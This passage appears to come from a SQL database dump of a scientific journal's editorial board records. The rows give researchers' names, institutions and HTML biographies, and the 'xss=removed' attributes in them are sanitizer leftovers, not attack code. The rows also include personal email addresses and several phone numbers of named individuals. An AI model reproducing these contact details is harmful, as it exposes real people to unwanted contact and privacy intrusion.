research.</p>\r\n',1,'2018-07-07 19:00:11','2019-02-13 17:15:43',1),(64,27,20,'','Elena Bargagli','bargagli2@gmail.com','','Medical Doctor ','Editorial board member','Italy','AOUC Florence Hospital Interstitial lung diseases Unit','5','<p><span xss=removed>Elena Bargagli is appointed as pulmonologist </span><span xss=removed>at\r\nthe AOUC Florence Hospital Interstitial Lung Diseases Unit </span><span xss=removed><span xss=removed>of</span><span xss=removed>  </span></span><span lang=\"EN-IN\" xss=removed>SOD Pneumologia\r\nFisiopatologia Toraco polmonare AOUC Florence, Italy. She </span><span xss=removed>published several manuscripts about biomarkers in different diffuse lung\r\ndiseases. Her clinical interests includes: connective tissue disease-associated\r\ninterstitial lung diseases (ILD), idiopathic interstitial pneumonias (IIPs),\r\nsarcoidosis and hypersensitivity pneumonitis (HP), Pulmonary Langerhans’ cell\r\nhistiocytosis (PLCH) and lymphangioleyomyomatosis (LAM). Her </span><span xss=removed><span xss=removed>main</span><span xss=removed> research interest has focused on the study of proteomic\r\nanalysis in the fluids of patients with ILD, chitinase potential role in\r\nsarcoidosis pathogenesis, the identification of prognostic biomarkers in\r\nidiopathic pulmonary fibrosis (IPF). She obtained her medical degree and\r\ncompleted her training in respiratory medicine at the University of Siena,\r\nItaly, and subsequently specialised in ILD in the regional ILD specialist\r\ncentre in Siena</span><b><span xss=removed>. </span></b></span><span xss=removed>She\r\nis (co)author of more than 80 manuscripts on ILD and sarcoidosis. </span><br></p>',1,'2018-07-07 19:05:05','2018-07-07 19:05:05',1),(65,27,20,'1530970752.jpg','Kim Bonglee','bongleekim@khu.ac.kr','','Assistant Professor, Department of Pathology, College of Korean Medicine','Editorial board member','South Korea','Kyung Hee University','6','',1,'2018-07-07 19:09:11','2018-07-07 19:09:11',1),(66,27,20,'1530971019.jpg','Anxun Wang','qiantinghe@hotmail.com','8613724896216','Department of Oral & Maxillofacial Surgery, First Affiliated Hospital','Editorial board member','China','Sun-Yat Sen University','8','<p><span xss=removed>I am Anxun Wang, I\r\ngraduated from Sun Yat-sen University and got my phD in Oncology in 2000. I have\r\nbeen working as an oral and maxillofacial surgeon in the First Affiliated\r\nHospital, Sun-Yat Sen University since 1993. I became a senior doctor and\r\ndoctoral supervisor in 2009. I am also a reviewer of several journals, such as </span><span xss=removed><span xss=removed>Carcinogenesis,\r\nOncotarget, Internation Journal of Nanomedine and so on. I have been doing\r\nbasic research on the mechanism of oral squamous cell carcinoma and have\r\npublished more than 160 papers, including 60 SCI papers. I also get several\r\nfundings, including 4 projects supported by National Natural Science Foundation\r\nof China, 4 projects supported by Guangdong province Natural Science Foundation,\r\n4 projects supported by </span><span xss=removed>Science and Technology Planning\r\nProject of Guangdong Province and so on.</span></span><br></p>',1,'2018-07-07 19:13:39','2018-07-07 19:13:39',1),(67,27,20,'','Khaled Yassin Abdel-Halim','khaled_yassen68@yahoo.com','','Mammalian&aquatic Toxicology Department','Editorial board member','Egypt','Central Agriculture  Pesticides Laboratory, Agricultural Research Center','8','',1,'2018-07-07 19:17:41','2018-07-07 19:17:41',1),(68,27,20,'1530971473.png','Hani M. Al-Afghani','hani940@hotmail.com','','Security Forces Hospital','Editorial board member','Saudi Arabia','General Directorate of Medical Services','9','',1,'2018-07-07 19:21:13','2018-07-07 19:21:13',1),(69,27,20,'','Yasmin Ahmad','yasminchem@gmail.com','','Scientist, Peptide and Proteomics Division','Editorial board member','India',' Defence Institute of Physiology and Allied Sciences','10','',1,'2018-07-07 19:26:10','2018-07-07 19:26:10',1),(70,27,20,'1530971932.png','Riaz Ahmad','riazzool@rediffmail.com','8791380458','Department of Zoology','Editorial board member','India','Aligarh Muslim University','11','<p><span lang=\"EN-IN\" xss=\"removed\">Dr.\r\nRiaz Ahmad obtained his M.Sc. Zoology with specialization in Genetics, M.Phil\r\nand Ph.D. from the Department of Zoology, Aligarh Muslim University, Aligarh.\r\nThen he was awarded Young Scientist Project from Department of Science &\r\nTechnology, Ministry of Science & Technology and subsequently DS Kothari\r\nFellowship from the University Grants Commission to pursue Post-Doctoral\r\nresearch. He was appointed as Assistant Professor in the Department in 2009.\r\nThe research in his laboratory is mainly focussed towards understanding the\r\nmechanism of liver fibrosis to apprehend cellular functions, so as to develop\r\nnew and friendly derivatives for therapeutic usage. Moreover, the research on\r\nthe discovery of liver proteome is targetted to determine possible fibrotic\r\npathways and some novel biomarkers for early diagnosis of the disease. Together\r\nwith some basic studies carried out earlier, the work from his lab has been\r\npublished in journals of repute such as Comp Biochem Physiol (B)-Biochem &\r\nMol Biol, Ind J Biochem Biophys, Ind J Clin Biochem, Chemico-Biol Interact,\r\nEcotox Environ Safety, Environ Toxicol Pharmacol, J Med Biochem, Am J Biochem\r\n& Mol Biol, Pharmac Biol and Int J Biol Macromol etc. Based on his\r\nachievements, he received many prestigeous awards/fellowships such as Young\r\nScientist (DST, CST-UP), Shakuntala Amir Chand Award, Teachers Excellence\r\nAward, Shisksha Rattan Puraskar, Health Excellence award and later BOYSCAST\r\nFellowship to pursue research at USA. Under his direct supervision, two PhDs\r\nand two M.Phils. have been awarded. He received a number of research projects\r\nfrom various national funding agencies. The citations of his research work is\r\naround <b>375</b> with an H-index10 (googlescholar/28/01/2018).</span><br></p>',1,'2018-07-07 19:28:52','2018-07-07 19:29:16',1),(71,27,20,'','Tarun Kumar Banerjee','tkbzool50@yahoo.co.in','','Retd. Professor of Zoology','Editorial board member','India','Banaras Hindu University','12','',1,'2018-07-07 19:32:36','2018-07-07 19:32:36',1),(72,19,20,'1530972915.jpg','Sagar Roy','sagar@njit.edu','','Department of Chemistry & Environmental Science','Editorial board member','USA','New Jersey Institute of Technology','1','<p class=\"MsoNormal\" xss=removed><span xss=removed>Sagar Roy obtained his\r\nPh.D. degree in Polymer Science & Technology from the University of\r\nCalcutta, India in 2007. Currently, Dr. Roy is working as a Postdoctoral\r\nResearch Associate in the Department of Chemistry & Environmental Science, New\r\nJersey Institute of Technology, New Jersey, USA. He was also appointed as an\r\nAdjunct faculty at the Department of Chemistry & Environmental Science,\r\nNJIT. Dr. Roy is doing research in the field of membrane based separation\r\nsystems employing the nano-materials and novel polymeric membranes for air and\r\nwater purification. His research interests are in the area of synthesis and\r\ncharacterization of specialty polymers and its application in various fields\r\nincluding membrane based separations, waste treatment, flexible batteries,\r\nnanocomposites etc. Dr. Roy is the author of several book chapters, more than\r\n30 peer reviewed publications, 25 conference presentation, 3 published and 2\r\npending patents. Dr. Roy is associated with several international journals as\r\neditor and reviewer including Journal of waste management, Journal of\r\nchemistry, Journal of membrane science, Separation and purification technology,\r\nEnvironmental science and technology, New journal of chemistry, Membranes etc. Dr.\r\nRoy is a member of American Chemical Society, North American Membrane Society\r\nand The Royal Society of Chemistry.</span><span xss=removed>?</span><span xss=removed><o></o></span></p>',1,'2018-07-07 19:45:15','2018-07-07 19:45:15',1),(73,19,20,'1530973155.jpg','Lokendra Pal','lpal@ncsu.edu','9195136622','Associate Faculty of Fiber & Polymer Science','Editorial board member','USA','North Carolina State University','02','<p><strong>Dr. Lokendra Pal</strong> is an Associate Professor&nbsp;in the Department of Forest Biomaterials at North Carolina State University. Dr. Pal has over 14 years of industrial experience in the research and production of paper-based materials and professional experience in managing and collaborating with industrial partners worldwide. Dr. Pal has filed over 30 patent applications and been granted 20 patents.&nbsp;Before joining NC State, Dr. Pal spent 9 years working with Hewlett-Packard Company leading new product development and cost reduction programs. He obtained his Ph.D. in Paper and Imaging Science and Engineering from Western Michigan University. He is a certified Lean Six Sigma (LSS) Black Belt and Quality System Assessment (QSA) Auditor. His current research efforts focus on developing sustainable functional and barrier coatings, printed electronics/sensors, and 3D printing.</p>\r\n',1,'2018-07-07 19:49:15','2018-07-21 14:34:16',1),(74,19,20,'1530973700.jpg','Farid E. Ahmed','gemtoxconsultants@yahoo.com','','Director','Editorial board member','USA','Institute for Research in Biotechnology, GEM Tox Labs','01','<p><span style=\"font-family:Times New Roman,Times,serif\">Farid E. Ahmed,Ph.D., male, molecular biologist, graduated from Biology Department, Ain Shams University, Cairo, Egypt in 1965, with a B.S. in biology, then a master&rsquo;s degree in immunology from the same university in 1969, then a doctoral degree in biophysics from The Ohio State University, Columbus, Ohio, USA in 1975. He did post-doctoral research work during 1975-1978 at Biology Department, Brookhaven National Laboratory, Upton, NY, USA. He directed the research activities at the Department of Toxicology in Pharmacopathics Research Laboratories in Laurel, MD, USA in 1979-1984. He became a Program Director at the U.S. National Academy of Sciences during 1984 through 1994 where he directed important studies on various science policy issues. He was a Visiting Professor at the Department of Biochemistry, Duke University Medical Center during 1995 to 1979. Then he was a Clinical Professor of Molecular Oncology at East Carolina University Cancer Center from 1998 to 2007. Then he formed a research and development biotechnology and toxicology consulting company at 2008, and is directing it up until now. He is a member of the editorial board of several scientific journals, serves as an expert consultant to the world health organization of the United Nations, and has been elected as a &ldquo;Fellow&rdquo; at the American Association for the Advancement of Science in the USA in 2007.</span></p>\r\n',1,'2018-07-07 19:58:19','2018-07-21 10:39:19',1),(75,19,20,'1530974675.jpg','Mariia Andrianova','smariika1987@gmail.com','','Reseacher in the laboratory of integral biochemical nanosensors at the Scientific-Manufacturing Complex','Editorial board member','Russia','National Research University of Electronic Technology','4','<p class=\"MsoNormal\" xss=\"removed\"><span xss=\"removed\">I did my\r\nSpecialist and PhD theses at the Lomonosov Moscow\r\nState University in the laboratory of ecobiocatalysis in the period of\r\n2007-2013 years. My research was focused on degradation of organophosphorus\r\ntoxic compounds and their decomposition products with the use of microorganisms\r\nand enzymes. During my work I have established the way of removal of toxic\r\ncompounds from water and soils with high efficiency. The results of the\r\nresearch provided the basis for patent acquisition.</span><span xss=\"removed\">Since Aug. 2013 I have been\r\nworking as a researcher in the laboratory of integral biochemical nanosensors\r\nat the Scientific-Manufacturing Complex “Technological Center” MIET (based at\r\nthe National Research University of Electronic Technology). The main activity\r\nof the laboratory is invention of biosensors, which combine the ion-sensitive\r\nfield transistor as a physicochemical detector, microfluidic system for\r\nreagents delivery and bio-recognition component. Working as an independent researcher\r\nin close connection with scientific team <b><u>I implemented new ideas in:</u></b></span></p><ul><li><span xss=\"removed\"><span xss=\"removed\">building-up experimental benches and conducting\r\nelectrical measurements of biosensors</span><o></o></span></li><li><span xss=\"removed\">producing bio-recognition component - aptamers to\r\nthe specified targets using the capture-selex approach</span></li></ul><p class=\"MsoNormal\" xss=\"removed\"><span xss=\"removed\">Projects\r\nI\'ve worked on resulted in development of biosensors for nitroaromatic\r\nexplosives (youth prize), organophosphorus pesticides, potassium iodide,\r\nl-carnitine and biosensors based on aptamers for low-weight molecules.</span></p>',1,'2018-07-07 20:14:34','2018-07-07 20:15:50',1),(76,19,20,'1530974938.jpg','Maria Atanassova','msatanassova@abv.bg','','Independent  Researcher, Scientific Consulting, Chemical Engineering','Editorial board member','Bulgaria','University of Chemical Technology and Metallurgy','5','',1,'2018-07-07 20:18:58','2018-07-07 20:18:58',1),(77,19,20,'1530975129.jpg','Sahar Abbasiliasi','sahar@upm.edu.my','','Faculty of Biotechnology and Biomolecular Sciences','Editorial board member','Malaysia','University of Putra ','6','<p class=\"MsoNormal\" xss=removed><span lang=\"EN-MY\" xss=removed>Sahar Abbasiliasi is currently working\r\nas a post-doctoral researcher at Universiti Putra Malaysia. She earned her PhD\r\nin Industrial Biotechnology from the above-mentioned university in 2014.In her investigation\r\nfor her PhDthesis, she pioneered in the area of </span><span lang=\"EN-GB\" xss=removed><span xss=removed>biomanufacturing\r\nof bacteriocin-like inhibitory substance by </span><i><span xss=removed>Pediococcus\r\nacidilacti</span></i><span xss=removed> KP10 for potential application in the food industry.</span></span><span lang=\"EN-MY\" xss=removed>Her current research focus include lactic\r\nacid bacteria, bacteriocin, prebiotic, probiotic and protein recovery. Dr. Sahar\r\nhas over 35 refereed publications in food and purification sciences journal.</span><span xss=removed><o></o></span></p>',1,'2018-07-07 20:22:09','2018-07-07 20:22:09',1),(78,19,20,'1530975356.jpg','Malihe Masomian','malihe.m@upm.edu.my','','Department of Microbiology, Faculty of Biotechnology and Biomolecular Sciences','Editorial board member','Malaysia','Universiti Putra Malaysia','7','<p><span xss=removed><span xss=removed>Malihe Masomian is currently working as a\r\nPostdoctoral Researcher in the Department of Microbiology, Faculty of\r\nBiotechnology and Biomolecular Sciences, Universiti Putra Malaysia. She\r\nreceived her Ph.D.</span><span xss=removed> in Microbial\r\nBiotechnology from Universiti Putra Malaysia where she worked on\r\ncrystallization and structure elucidation of a thermostable enzyme. She\r\nsuccessfully invented a Method for removing affinity tags without using\r\nprotease treatment which is currently patented and embedded in her group\'s\r\nexperiments. After her </span><span xss=removed>Ph.D.</span><span xss=removed>, she worked\r\nas a postdoctoral research fellow where she extended her research area to\r\ninclude enzyme thermal stability studies via structural biology, microbial\r\nbiodegradation of crude oil and pharmaceutical enzyme engineering. Currently, she\r\nis collaborating on different research projects funded by Universiti Putra\r\nMalaysia and Ministry of Higher Education of Malaysia. Along with her research,\r\nshe is an active member of the Enzyme and Microbial Technology Research Centre\r\n(EMTech), UPM.</span></span></p><p class=\"MsoNormal\" xss=removed><b><span xss=removed><span xss=removed><u>Research\r\nInterest</u></span><o></o></span></b></p><p><span xss=removed><span xss=removed>\r\n\r\n</span><span xss=removed>Malihe\r\nis interested in Functional genomic, cloning and overexpression, Enzyme\r\nengineering, immobilization, protein purification, protein crystallization,\r\nstructure elucidation, protein-ligand interaction study and also\r\nBioremediation.</span><span xss=removed><br></span></span><br></p>',1,'2018-07-07 20:25:55','2018-07-07 20:25:55',1),(79,19,20,'1530975708.jpg','Antonio Filippini','antonio.filippini@uniroma1.it','','Professor of Histology and Embryology, Medical School, Unit of Histology and Medical Embryology','Editorial board member','Italy','University of Rome \"La Sapienza\"','8','',1,'2018-07-07 20:31:47','2018-07-07 20:31:47',1),(80,19,20,'1530975924.jpg','Ahmed A. Al-Amiery','dr.ahmed1975@gmail.com','','Head of Energy and Renewable Energies Technology Center','Editorial board member','Iraq','University of Technology','9','<p class=\"MsoNormal\" xss=removed><span lang=\"EN-IN\" xss=removed>Ahmed Al-Amiery\r\n(h-index= 26), is a Professor at University of Technology. Prof. Al-Amiery is\r\nthe head of Energy and Renewable Energies Technology Centre, University of\r\nTechnology, Baghdad, Iraq. He has over 140 scientific papers and projects\r\neither presented or published and 13 patents. He is an internationally expert\r\nin many areas of applied chemistry (Synthesis of Organic Molecules and applied\r\nthese molecules as corrosion inhibitors, antioxidants, scavengers,\r\nantimicrobial and anti-cancer in addition to theoretical chemistry). He is\r\nvisitor professor </span><span xss=removed>at\r\nDepartment of Chemical and Process Engineering Universiti Kebangsaan Malaysia.\r\nAl-Amiery has Post-doctoral from Universiti Kebangsaan Malaysia. Dr. Al-Amiery\r\nhas been awarded the Medal of scientific excellence (2014), and also Hold\r\nScience Day Awards from the Ministry of Higher Education and Scientific\r\nResearch for seven consecutive years (2010, 2011, 2012, 2013, 2014, 2015 and\r\n2016). Al-Amiery selected for the Who’s Who for International Executives 2015.\r\nAl-Amiery selected for the one of the best mentalities of the world for 2016 by\r\nthe University of Cambridge. Al-Amiery is a TWAS- Young Affiliates.</span></p>',1,'2018-07-07 20:35:23','2018-07-07 20:35:23',1),(81,19,20,'1530976194.jpg','Ramin Ataee ','raminataee1349@gmail.com','','Assistant Professor in Pharmacology, Faculty of Pharmacy','Editorial board member','Iran (Islamic Republic of)',' Mazandaran University of Medical Sciences','10','',1,'2018-07-07 20:39:54','2018-07-07 20:39:54',1),(82,19,20,'1530976418.jpg','Abbas Mirshafiey','mirshafiey@tums.ac.ir','','Department Head of Pathobiology','Editorial board member','Iran (Islamic Republic of)','Tehran University of Medical Sciences','11','<p xss=removed><span xss=removed>Prof.\r\nA. </span><span xss=removed>Mirshafiey</span><span xss=removed> received his BSc and MSc degrees\r\nin Biology and Medical Mycology in 1979 and 1982, respectively and his PhD in\r\nImmunology from Tehran </span><span xss=removed>University\r\nof Medical Sciences in 1990. </span><span xss=removed>He\r\ntook additional academic training at Tokyo University (Japan), Lund University\r\nand Karolinska Institute in Sweden. He has been</span><span xss=removed> the recipient of </span><span xss=removed>Avo</span><span xss=removed> </span><span xss=removed>Sina</span><span xss=removed> Scientific award in 1999, 2002,\r\n2012, 2016 in Tehran. His innovation, entitled “M2000”, as a novel designed\r\nNSAID has been patented in Germany [DE 102 47 073. 1] in 2010. He serves as the\r\nHead of Department of Pathobiology in Tehran University of Medical Sciences.\r\nHis research focuses on Inflammation, Immunopharmacology, Design of\r\nanti-inflammatory and immunosuppressive drugs. In particular, he is interested\r\nin immunopathogenesis and treatment of Multiple Sclerosis.</span></p><span xss=removed>\r\n\r\n</span><p xss=removed><span xss=removed><b><u>Published papers:</u></b></span><span xss=removed> </span><span xss=removed>More\r\nthan 157 papers in scientific international journals, and </span><span xss=removed>148</span><span xss=removed><span xss=removed>\r\npublished papers in PubMed. He has been introduced as a distinguished</span><span xss=removed>  </span><span xss=removed>researcher</span><span xss=removed> \r\n</span><span xss=removed>in the level of international in writing</span><span xss=removed> \r\n</span><span xss=removed>review articles</span><span xss=removed>  </span><span xss=removed>in the field of\r\nMultiple sclerosis.</span></span></p>',1,'2018-07-07 20:43:37','2018-07-07 20:43:37',1),(83,19,20,'1530976821.jpg','Mohammad Nooredeen Abbas Abdel Ghany','dr.nooreldin@yahoo.com','201001530137','Applied Organic Chemistry Department','Editorial board member','Egypt',' Chemical Industries Research Division National Research Centre ','12','<p><span xss=removed>Prof. Abbas is a Professor of Anal. Chem.; He graduated at Cairo University with Special degree in Chemistry (Honor). He got his Ph.D. in Inorg. and Anal. Chem. from Eötvös Loránd Sci. Univ., Budapest. As Assoc. Prof. at NRC in Cairo, He was interested in Solid Phase Separations and Trace Analysis. However, since 1992 Prof. Abbas major interest was directed to the field of Electrochem. Sensors; where he established a Bio/Chemical Sensor Group. He has published more than sixty papers. He was the P.I and manager of several bilateral and international projects in the field of Sensor Technology with USA, France, Spain. Recently, He was the Egypt-director of the NATO SFP project “Novel Electrochemical Nano-Sensors for Toxic Ions Detection” and the European Commission project FP7-PEOPLE-2012-IRSE “SMARTCANCERSENS”, “Micro/ Nano sensors for early cancer warning system diagnostic and prognostic information”</span></p><p><font face=\"Times New Roman\"><b><u>Field of expertise: </u></b>Electrochemistry, Bio/Chemical Sensors, Nanomaterials and Biomarkers.</font><br><br></p>',1,'2018-07-07 20:50:20','2018-07-07 20:50:20',1),(84,19,20,'1531024699.jpg','Antonio Scarano','ascarano@unich.it','','Department of Medical, Oral and Biotechnological Sciences','Editorial board member','Italy','University of Gabriele d\'Annunzio Chieti and Pescara','13','<p class=\"MsoNormal\" xss=removed><span lang=\"EN-IN\" xss=removed><span xss=removed>Antonio Scarano was born in\r\nSan Giovanni Rotondo (Fg) on 04.08.1966 </span><span xss=removed>Degree in Dentistry at “G. D’Annunzio” University in Chieti with honours. </span><span xss=removed>Degree in Medicine at “LA Sapienza” University in Rome with honours. </span><span xss=removed>Specialization in Oral Surgery at “La Sapienza” University in Rome with\r\nhonours.</span><br><span xss=removed>\r\n</span></span><b><span xss=removed>1991</span></b><span xss=removed><span xss=removed>  </span><b><i><span xss=removed>Research\r\nFellow</span></i></b><span xss=removed>, Dental School, University of Chieti.</span></span></p><p class=\"MsoNormal\" xss=removed><b><span xss=removed>2002</span></b><span xss=removed><span xss=removed>  </span><b><i><span xss=removed>Research</span></i></b><span xss=removed>, Dental School, University\r\nof Chieti.</span><o></o></span></p><p class=\"MsoNormal\" xss=removed><b><span xss=removed><span xss=removed>2011 Associate Professor</span><o></o></span></b></p><p class=\"MsoNormal\" xss=removed><b><span xss=removed><span xss=removed>2018 Full Professor</span><o></o></span></b></p><p class=\"MsoNormal\" xss=removed><span xss=removed><span xss=removed>\r\n\r\n</span><span xss=removed>\r\n\r\n</span><span xss=removed>\r\n\r\n</span><span xss=removed>He is a </span><span lang=\"EN-IN\" xss=removed><span xss=removed>Member\r\nof the Academy of Osseo integration (AO).</span><span xss=removed>  \r\n</span><span xss=removed>He is </span></span><span xss=removed><span xss=removed>Member of the Board of the Journal of Oral\r\nPathology and Medicine (1993-1999) and of Clinical Implant Dentistry and\r\nRelated Research (2002- ).</span><span xss=removed>  </span><span xss=removed>He is </span></span><span lang=\"EN-IN\" xss=removed>Reviewer of the following Journals: </span><span xss=removed>Clin Oral Impl Res, J Clin Periodontol, Clinl Impl\r\nDent Relat Res, J Biomed Mater Res – Applied Biomaterials, J Biomed Mater Res,\r\nBiomaterials, Oral Diseases, </span><span xss=removed>Histol Histopathol, </span><span lang=\"EN-IN\" xss=removed><span xss=removed>Cell\r\nTissue Res, Lancet Oncology, J Endodon, Acta Biomaterialia, Cell Biology\r\nInternational, J Oral Rehabil, Oral Oncology, J Nanomaterials.</span><span xss=removed>  </span><span xss=removed>Prof. Scarano has co-authored more than 270\r\npapers in international peer-reviewed Journals; most of these papers have dealt\r\nwith Implant Dentistry and Biomaterials.</span><span xss=removed>   \r\n</span><span xss=removed>Prof. Scarano main research interests have been immediate loading, bone\r\nresponse to different biomaterials, bone response in human implants retrieved\r\nin several different clinical and anatomic conditions.</span></span><br></span><span xss=removed><o></o></span></p>',1,'2018-07-08 10:08:19','2018-07-08 10:08:19',1),(85,19,20,'1531025066.jpg','S. A. Abbasi ','abbasi.cpee@gmail.com','','Centre for Pollution Control and Environmental Engineering','Editorial board member','India','Pondicherry University','14','<p><b><span xss=removed>Prof </span></b><b><span xss=removed>S. A. Abbasi </span></b><span xss=removed>has been a full university professor since 1987 after being\r\nHead-in-charge of the Water Quality & Environment Division at the Centre\r\nfor Water Resources, Kozhikode, during 1979-87. \r\nHe was a Visiting-cum-adjunct Professor at California State University\r\nduring 1984-1987, and has been a Visiting Professor at the universities of\r\nMinnesota, Florida, California?Berkeley, Malaya and Al-Ahsa.</span></p><p><span xss=removed><span xss=removed>With 43 books, over\r\n400 papers in indexed journals, 9 patents, close to 10,000 citations and a\r\nHirsch Index currently at 55, Prof Abbasi is among the world’s foremost experts\r\nin the fields of process safety and environmental engineering.  Among numerous coveted honours and awards\r\nreceived by him are the <i>National Design\r\nAward in Environmental Engineering, </i>the <i>IPCL\r\naward for Safety and Hazard Management in Petroleum Industries,</i> the<i> National Hydrology Award</i>, the\r\nInternational Desalination Association’s prize, and fellowships of the National\r\nAcademy of Sciences and the Indian Institute of Chemical Engineers.  He has been Member, Board of Governors, IIT\r\nRoorkee, Member of the BHU Court, and has been Chairman/Member of numerous\r\nhigh-level governmental committees.  \r\nProf Abbasi is also well-known for his poetry <i>(ghazal</i>and <i>geet), </i>fiction,\r\nand his work on fostering inter-faith harmony.</span></span></p><div>\r\n\r\n<table cellspacing=\"0\" cellpadding=\"0\" hspace=\"0\" vspace=\"0\" align=\"left\">\r\n <tbody><tr>\r\n  <td valign=\"top\" align=\"left\" xss=removed>\r\n  <p class=\"MsoNormal\" xss=removed><span xss=removed>In 1991 Prof Abbasi had set up, and has led\r\n  since then, a research group on accident forecasting, risk assessment, and\r\n  occupational safety at Pondicherry University.  The group is among the most productive in\r\n  Asia and has spearheaded the Indian R & D thrust in this field all\r\n  through. </span><span xss=removed><o></o></span></p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n\r\n</div><p><span xss=removed><span xss=removed><br></span><br></span><br></p>',1,'2018-07-08 10:14:26','2018-07-08 10:14:26',1),(86,19,20,'1531025511.jpg','Anil  Sukumaran','drsanil@gmail.com','','College of Dentistry ','Editorial board member','India','Saveetha University','15','',1,'2018-07-08 10:21:50','2018-07-08 10:21:50',1),(87,19,20,'','Aneela Sabir','aneela.pet.ceet@pu.edu.pk','','Assitant Professor, Department of Polymer Engineering and Technology','Editorial board member','India','University of the Punjab','16','',1,'2018-07-08 10:26:28','2018-07-08 10:26:28',1),(90,21,20,'1531031605.jpg','Shiaw-Yih Lin','sylin@mdanderson.org','','Deputy Chair of Department of Systems Biology','Editorial board member','USA','The University of Texas MD Anderson Cancer Center','03','<p>Dr. Shiaw-Yih (Phoebus) Lin is a tenured professor and Deputy Chair of Department of Systems Biology at The University of Texas MD Anderson Cancer Center. Dr. Lin&rsquo;s research efforts are focused within an overall theme of DNA damage response defects in cancer with the specific emphasis on systems and translational precision cancer therapy. Dr. Lin serves on editorial boards of ten international journals and has served on numerous grant review committees for NIH, DOD and other funding organizations both nationally and internationally.</p>\r\n',1,'2018-07-08 12:03:24','2018-07-18 22:54:54',1),(92,21,20,'1531032518.jpg','Navin Viswakarma','navinv@uic.edu','3123994245','Research Assistant Professor in Division of surgical oncology ','Editorial board member','USA',' University of Illinois','08','<p>Dr. Navin Viswakarma is Research Assistant Professor in Division of surgical oncology in the Department of Surgery, University of Illinois at Chicago (UIC). Dr. Viswakarma completed his PhD in Molecular Biology and Biochemistry in 2002 from the Nagpur University, India. He did his postdoctoral fellowship from the Northwestern University, Chicago (2004-2011). His research at Northwestern was focused on studying the molecular mechanisms that regulate the transcriptional activities of nuclear receptors in energy metabolism, fatty liver disease and hepatocellular carcinoma. His work produced several peer-reviewed publications that leads to funding of grants. In 2011, he joined as a Principal Research Scientist at the Institute of Life Sciences (ILS), Hyderabad, India. He also overlooked a CRO, PharmakoDyne Biosciences at ILS. Later he joined UIC where presently he is working on the pancreatic and liver cancer. His work involves translational implication of MAPK inhibitors that target novel pathway in the PDAC and breast cancer.</p>\r\n',1,'2018-07-08 12:18:38','2018-07-18 22:49:21',1),(94,21,20,'1531033574.jpg','Mohamed Alsharedi','alsharedi@gmail.com','','Assistant professor of Medicine ','Editorial board member','USA','Marshall University','07','<p>Medical oncologist&nbsp;and assistant professor of Medicine at Joan C. Edwards School of Medicine, Marshall University in West Virginia. Dr. Alsharedi specializes in hematological malignancy and solid tumors with a focus on breast, gastrointestinal and lung Cancers.He earned his Doctor of Medicine degree from Tripoli University in Libya in 2004. Alsharedi completed his internal medicine residency training and fellowship at Marshall University.</p>\r\n\r\n<p>Dr. Alsharedi is a board certified in internal medicine and medical oncology.He is a member of several professional societies, he is a fellow of American College of Physicians, American Society of Clinical Oncology and American society of hematology.He presented several posters and oral presentations in medical conferences including National Comprehensive Cancer Network Conference in which his work was recognized by American Society of Clinical Oncology Journal (ASCO Post).He has many scientific publications in prestigious medical journals, his research interest and publications focus on immunotherapy in cancers, pancreatic cancer, breast cancers and chemotherapy toxicities in germ cell tumors &amp; breast cancer.</p>\r\n',1,'2018-07-08 12:36:14','2018-07-18 22:51:45',1),(95,21,20,'1531034117.jpg','E. Shyam P. Reddy','ereddy@msm.edu','','Professor and Director, Cancer Biology Program, Department of OB/GYN','Editorial board member','USA','Morehouse School of Medicine','05','<p>Dr Shyam Reddy is a Professor and Director, Cancer Biology Program, Department of OB/GYN, Morehouse School of Medicine, Georgia Cancer center for excellence, Grady Memorial Hospital, Atlanta, Ga. He carried out his Ph.D. work at the Center for Cellular and Molecular Biology, Hyderabad, India and at Max Planck Institute for Biophysical Chemistry, Gottingen, West Germany. His Ph.D. work was published as two papers (back to back) in the prestigious Nature journal for which he was awarded National Young Scientist award by the Prime minister of India. He obtained postdoctoral training in molecular biology at Yale University, CT (Dr Weissman, PNAS member). Dr Reddy discovered and cloned several cancer genes/oncogenes (close to 20 genes) and studied&nbsp;their functions. The most notable genes discovered by Dr Reddy include ERG-1, ERG-2, ERG-3 and human FLI-1genes. Drs Reddy and Rao named the gene as ERG (<u>ETS Related Gene</u>, published in prestigious journals Science and PNAS). ERG is a transcriptional factor, endothelial permeability factor and also a stem cell factor and is involved in 50-80% of Prostate cancers, Ewing sarcoma and also leukemias (AML). Other notable ETS genes discovered and studied by Dr Reddy include human Fli-1 (involved in 80% of Ewing family of tumors, Leukemias and Prostate cancer), EWS-Fli-1 (involved in 90% of Ewing Sarcoma, Pediatric cancer), EWS-erg (involved in Ewing Sarcoma), TLS-erg (involved in Acute Myeloid Leukemia), EWS (involved in multiple cancers), TLS/FUS (involved in multiple cancers), ELK-1 (Drs Reddy and Rao named this gene as <u>ETS Like Gene</u>, published in prestigious journals Science and Nature) and EWS-ATF-1 (malignant Melanoma of Soft Parts/Clear cell sarcoma). Dr Reddy and his group have also discovered novel post-translational mechanism mediated by BRCA2 in Breast Cancer cells that will have global effect on the Gene Expression, Protein turnover, Cell Death, Cancer and other Human diseases.Dr Reddy and his group have shown that ERG and FLI-1 proteins involved in several cancers are responsible for making cancer cells resistant to chemo-therapeutic agents. They are targeting these onco-proteins or their functions to develop novel targeted therapeutic agents. Using this strategy, they have developed several novel therapeutic agents (patent being submitted) that target Prostate cancer, Ewing Sarcoma, Breast cancer (including Triple Negative Breast Cancer), Pancreatic cancer, Ovarian cancer, cervical cancer, colorectal cancer, pancreatic cancer etc. These small molecules appear to be targeted therapeutic agents with no or little effect on normal cells. Dr Reddy received two grants from DOD to study on two targeted therapeutic agents against prostate cancer. Dr Reddy and his colleagues have also shown that anti-epileptic drug Valproic acid (VPA) targets ERG-positive Prostate cancers and Ewing Sarcoma and identified the molecular mechanism of action of VPA on ERG/Fli-1 associated cancers. Recently, they have identified novel ways by which ERG/ETS oncoproteins target different signaling pathways that leads to prostate and other cancers (leukemias, lymphomas and sarcomas). Dr Reddy and his colleagues have identified novel molecular mechanism of activation of TGF beta&ndash; signaling pathway by ERG oncoprotein in prostate cancer. Recently, Dr Reddy and his colleagues have shown that ETV1 onco-protein induces certain kinases in cancer cells which deregulate the critical Wnt/beta catenin pathway. They have also identified therapeutic agent that interferes with this process. They have also demonstrated that this therapeutic agent targets these cancer cells effectively (manuscript in press, 2016). These therapeutic agents will have a profound impact on prevention and treatment of prostate cancer which may help to reduce health disparity seen in minority prostate cancer patients. <strong>Recently, Dr Reddy&rsquo;s group decoded non- coding DNA and it&rsquo;s non-coding RNA and discovered novel tumor suppressors which will revolutionize the landscape of biology, diagnosis and therapy (In press, 2017, <u><a 